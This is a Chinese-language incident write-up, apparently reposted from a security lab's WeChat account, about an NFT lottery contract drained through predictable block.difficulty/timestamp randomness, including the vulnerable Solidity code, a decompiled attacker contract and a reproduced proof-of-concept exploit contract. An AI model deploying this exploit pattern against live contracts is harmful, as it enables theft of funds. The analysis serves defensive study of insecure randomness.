记一次链上赌场攻击事件

区块链安全 2年前 (2022) admin
738 0 0
01

事件背景


1.1   愤怒的项目方


一位刚刚毕业的Web3创业者,编写了一个赌场的项目,用户可以通过Mint NFT来进行抽奖。但不幸的是,合约中有一个初级的安全漏洞,导致合约中的0.61个Ether被黑客撸走。

记一次链上赌场攻击事件

一位刚刚毕业,0.61个以太币和现在动辄上亿的defi攻击相比确实不算多,但这也是这位创业者为数不多的创业资金。
这位倒霉的创业者气得在twitter上连发两条推文骂街:

记一次链上赌场攻击事件

路人纷纷对这个小伙子表达了同情:

记一次链上赌场攻击事件

也有过来人表达了自己的看法:

记一次链上赌场攻击事件

此时可怜的小伙仍然不知道黑客是怎么黑走他的Ether的:

记一次链上赌场攻击事件

他无法理解黑客是怎么做到连中60次奖。
最后,小伙宣布创业失败,重新去找工作:

记一次链上赌场攻击事件




记一次链上赌场攻击事件
02

事件分析


2.1   创业路程

这个推特账户在722日发表了第一篇推文:

记一次链上赌场攻击事件

这篇推文是用英文写的,大概讲述了自己NFT项目的故事背景。
在之后的一段时间,发的推文都是英文的运营与推广内容:

记一次链上赌场攻击事件

直到731日发表了一篇中文推文,看来自己是中国人的事实败漏,从这时开始,所有的推文都用中文了:

记一次链上赌场攻击事件

同时,这天发布了项目的相关经济模式:

记一次链上赌场攻击事件

这个经济系统看起来比较难以理解,我们来简单分析一下:
第一期发666nft,其中每个mint的费用为0.01Ether,这样池子里会有6.66Ether。在这666nft中会有220个被25倍回购,而回购所用的资金来自于mint时形成的池子,池子中剩余的资金用于宣发。
第二期和第三期与第一期类似,只不过新发的nftmint费用翻倍,这会让这三期mint的成本和中奖的奖励依次翻倍,按照项目方的意思,只要三次mint中有一次中奖了,就可以覆盖掉之前的成本。
我们不难发现,该项目本质上就是一个彩票性质的赌场,项目方会抽取最后一次池子的10%作为盈利,而中奖用户的奖励、宣发成本和项目方盈利都来自于输掉的用户。
再之后的一段事件都是一些正常的宣发和运营活动:

记一次链上赌场攻击事件

一切似乎都向着好的方向发展,直到824日,画风突变…

记一次链上赌场攻击事件

项目方公布了黑客的地址,并送上了最亲切于最美好的祝福:

记一次链上赌场攻击事件



2.2   攻击分析

我们到以太坊的区块链浏览器上查看这个地址:

记一次链上赌场攻击事件

可以找到这几个名为Hack的函数调用,那么这个地址:
0x880DF6cC30bb7934D065498Ed9163a6e3b5Aa67D
应该就是黑客部署的攻击合约了。

记一次链上赌场攻击事件

通过查看txtoken转移就可以找出nft的合约地址为:
0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967
并且该合约是开源的,使用的是openzeppelinERC-721模板。
其中mint NFT的相关逻辑在publicMint函数:
function publicMint() public payable {
   // 获取总供应量
     uint256 supply = totalSupply();
     // 判断铸造是否暂停
     require(!pauseMint, "Pause mint");
     // 判断是否发送了足够的Ether,这里为0.01Ether
     require(msg.value >= price, "Ether sent is not correct");
     // 判断总供应量没有超过最大值
     require(supply + 1 <= maxTotal, "Exceeds maximum supply");
     // 调用库的mint函数
     _safeMint(msg.sender, 1);
     // 获取“随机数”
     bool randLucky = _getRandom();
     // 获取新mint的NFT的ID
     uint256 tokenId = _totalMinted();
     emit NEWLucky(tokenId, randLucky);
     // 将该id的NFT是否中奖的信息保存到tokenId_luckys哈希表中
     tokenId_luckys[tokenId] = lucky;
     // 如果中奖
     if (tokenId_luckys[tokenId] == true) {
       // 向调用者发送1.9倍price的Ether,这里为0.019Ether
      require(payable(msg.sender).send((price * 190) / 100));
      require(payable(withdrawAddress).send((price * 10) / 100));
     }
 }function publicMint() public payable {
   // 获取总供应量
     uint256 supply = totalSupply();
     // 判断铸造是否暂停
     require(!pauseMint, "Pause mint");
     // 判断是否发送了足够的Ether,这里为0.01Ether
     require(msg.value >= price, "Ether sent is not correct");
     // 判断总供应量没有超过最大值
     require(supply + 1 <= maxTotal, "Exceeds maximum supply");
     // 调用库的mint函数
     _safeMint(msg.sender, 1);
     // 获取“随机数”
     bool randLucky = _getRandom();
     // 获取新mint的NFT的ID
     uint256 tokenId = _totalMinted();
     emit NEWLucky(tokenId, randLucky);
     // 将该id的NFT是否中奖的信息保存到tokenId_luckys哈希表中
     tokenId_luckys[tokenId] = lucky;
     // 如果中奖
     if (tokenId_luckys[tokenId] == true) {
       // 向调用者发送1.9倍price的Ether,这里为0.019Ether
      require(payable(msg.sender).send((price * 190) / 100));
      require(payable(withdrawAddress).send((price * 10) / 100));
     }
 }
用户可以调用该函数并向合约转0.01Ether,在给用户mint完之后,调用_getRandom函数判断是否中奖,而问题就出现在这个获取随机数的函数中:
function _getRandom() private returns(bool) {
     uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)));
     uint256 rand = random%2;
     if(rand == 0){return lucky = false;}
     else         {return lucky = true;}
 }
在这个函数中,使用block.difficultblock.timestamp作为随机数的熵源,而这两个值都是可以被预测的。
以太坊虚拟机是一个只能被tx影响的黑盒,这意味着以太坊熵的所有状态在tx确定的情况下都是可以被预测的,不存在只使用合约就能生成随机数的方案,
我们再来看看黑客的攻击合约。这个合约没有开源,我们试着逆向一下:
# Palkeoramix decompiler. 

def storage:
owner is addr at storage 0
nftAddress is addr at storage 1

def nft(): # not payable
return nftAddress

def owner(): # not payable
return owner

#
#  Regular functions
#

def sendEther() payable: 
stop

def _fallback() payable: # default function
stop

def getRandom(): # not payable
if sha3(block.difficulty, block.timestamp) % 2:
   return 1
else:
   return 0

def withdraw(): # not payable
if owner != caller:
   revert with 0, 'Not owner'
call owner with:
  value eth.balance(this.address) wei
    gas 2300 * is_zero(value) wei
if not ext_call.success:
   revert with ext_call.return_data[0 len return_data.size]

def unknown023245d7(uint256 _param1): # not payable
require calldata.size - 4 >=ΓÇ▓ 32
require _param1 == _param1
if owner != caller:
   revert with 0, 'Not owner'
require ext_code.size(nftAddress)
call nftAddress.transferFrom(address from, address to, uint256 tokens) with:
    gas gas_remaining wei
   args addr(this.address), owner, _param1
if not ext_call.success:
   revert with ext_call.return_data[0 len return_data.size]

def onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data): # not payable
require calldata.size - 4 >=ΓÇ▓ 128
require _operator == _operator
require _from == _from
require _tokenId == _tokenId
require _data <= 18446744073709551615
require _data + 35 <ΓÇ▓ calldata.size
require _data.length <= 18446744073709551615
require _data + _data.length + 36 <= calldata.size
return 0x150b7a0200000000000000000000000000000000000000000000000000000000

def unknown25565cdd(uint256 _param1): # not payable
require calldata.size - 4 >=ΓÇ▓ 32
require _param1 == _param1
if not sha3(block.difficulty, block.timestamp) % 2:
   revert with 0, 'Not lucky'
idx = 0
while idx < _param1:
   mem[192] = 0x26092b8300000000000000000000000000000000000000000000000000000000
   require ext_code.size(nftAddress)
   call nftAddress.0x26092b83 with:
      value 10^16 wei
        gas gas_remaining wei
   if not ext_call.success:
       revert with ext_call.return_data[0 len return_data.size]
   if eth.balance(this.address) < eth.balance(this.address):
       stop
   if idx == -1:
       revert with 'NH{q', 17
   idx = idx + 1
   continue 
查看黑客调用攻击合约的Input Data

记一次链上赌场攻击事件

可以看到unknow25565cdd函数就是hack函数,而输入的参数为0x被,参数类型为uint,所以实际参数为11.
hack函数转化为solidity语法:
function hack(uint256 counts) public {
 require(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)))%2 == 1, "Not lucky");
 
 for(uint256 i=0;i < counts;i++) {
  nftAddress.call.value(10000000000000000)(bytes4(keccak256("publicMint()"));
 }
首先函数会判断这个现在区块是否满足相应的条件,如果不满足则直接会退这笔交易,如果满足,则循环调用tokenpublicMint函数,每次向token合约转0.01Ethertoken合约会向用户返0.19Ether,只要重复的数量足够多,就可以掏空token合约的全部Ether
在部署完POC合约后,黑客会尝试调用hack函数,每次成功的概率为50%

2.3   复现

先编写攻击合约:
contract Poc {
 address nftAddress = 0x5e3D2b37D4bf2f60626761B9f445d4CeB2b271d0;

 constructor() public payable {}

 function hack(uint256 counts) public {
     luckytiger LT = luckytiger(nftAddress);
     require(uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp)))%2 == 1, "Not lucky");
     for(uint256 i=0;i < counts;i++) {
         LT.publicMint{value:0.01 * 10 ** 18}();
     }
 }

 function onERC721Received(
     address, 
     address, 
     uint256, 
     bytes calldata
 )external returns(bytes4) {
     return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
 } 

 receive() payable external {}
}
要注意的是,在mint NFT的时候,token合约会判断调用者是否是合约账户,如果是合约账户,则要实现ERC721Received接口,我们加上这个函数,同时合约要接收来自token合约的Ether,所以要加上回退函数并使用payable修饰符。
部署token合约,并向合约中传0.61Ether

记一次链上赌场攻击事件


接着部署攻击合约,再转一些Ether进去:

记一次链上赌场攻击事件


调用攻击合约中的hack函数:

记一次链上赌场攻击事件


每次调用成功的概率在50%,在多次调用之后,基本抽走了token合约中的Ether

记一次链上赌场攻击事件


2.4   总结

不安全的随机数是合约中比较基础的问题,为了实现随机,都要引入预言机。预言机的功能就是将外界信息写入到区块链中,完成区块链与现实世界的互通。而为了在以太坊上实现赌场,需要设置及其负载的合约逻辑和预言机系统。
记一次链上赌场攻击事件
03

事件后续


在攻击事件放生的第二天,即825日,小伙还是觉得不能轻易放弃,于是将剩余的nft改成freemint

记一次链上赌场攻击事件


不仅如此,小伙重新振作精神,继续加强知识储备:

记一次链上赌场攻击事件



在这件事之后的一段事件中,大部分发布的内容基本都是运营,炒币和骂街:

记一次链上赌场攻击事件



而者一切都随着一个“all in推文而归于平静,从913日到现在,再也没有发新的推文:

记一次链上赌场攻击事件



记一次链上赌场攻击事件


记一次链上赌场攻击事件


RIP。原天堂没有爆仓。。。


记一次链上赌场攻击事件

原文始发于微信公众号(山石网科安全技术研究院):记一次链上赌场攻击事件

版权声明:admin 发表于 2022年10月17日 下午2:08。
转载请注明:记一次链上赌场攻击事件 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...